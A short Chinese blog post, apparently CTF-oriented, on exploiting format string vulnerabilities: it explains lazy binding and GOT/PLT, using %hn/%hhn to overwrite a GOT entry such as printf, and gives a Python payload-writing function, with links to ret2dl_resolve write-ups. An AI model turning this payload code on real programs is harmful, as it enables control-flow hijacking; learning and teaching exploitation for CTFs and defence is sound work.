美文网首页hacker
字符串格式化漏洞利用技巧

字符串格式化漏洞利用技巧

作者: jessica1123 | 来源:发表于2019-01-01 19:17 被阅读19次

    在某个函数被调用之前,由于linux动态链接的时候采用的是延时绑定的机制
    因此某个函数在被实际调用之前,它的got表存储的内容实际是plt的下一条指令,因而可以用gdb调试查看它的值。而字符串格式化漏洞就可以改变这个值,让函数跑到自己控制的跳转。

    image.png
    备注:hn可以修改双字节的内容,hhn修改单字节的内容

    并且高地址对应的是高字节,即我们要修改got['printf']的时候,需要把printf+2

    got['printf'] = 0x6012B8
    
    修改成 0x60268B的时候,只需要让
    got['printf'] = 0x268B
    got['printf'] = 0x60
    
    def write(addr,value):
        offset_list = [0,16,32]
        for index,offset in enumerate([0,16,32]):
            wait_to_write = (value >> offset) & 0xffff
            payload = ('%' + str(wait_to_write) + 'c%8$hn').ljust(16,' ') + p64(addr + index*2) + p64(0xaabbccdd)
            io.send(payload)
            time.sleep(0.2)
            io.clean()
    

    https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/
    https://potatso.xyz/2018/04/07/pwn%E4%B9%8Bret2_dl_resolve/
    https://vang3lis.github.io/2018/09/30/ret2_dl_runtime_resolve/

    相关文章

      网友评论

        本文标题:字符串格式化漏洞利用技巧

        本文链接:https://www.haomeiwen.com/subject/wwgklqtx.html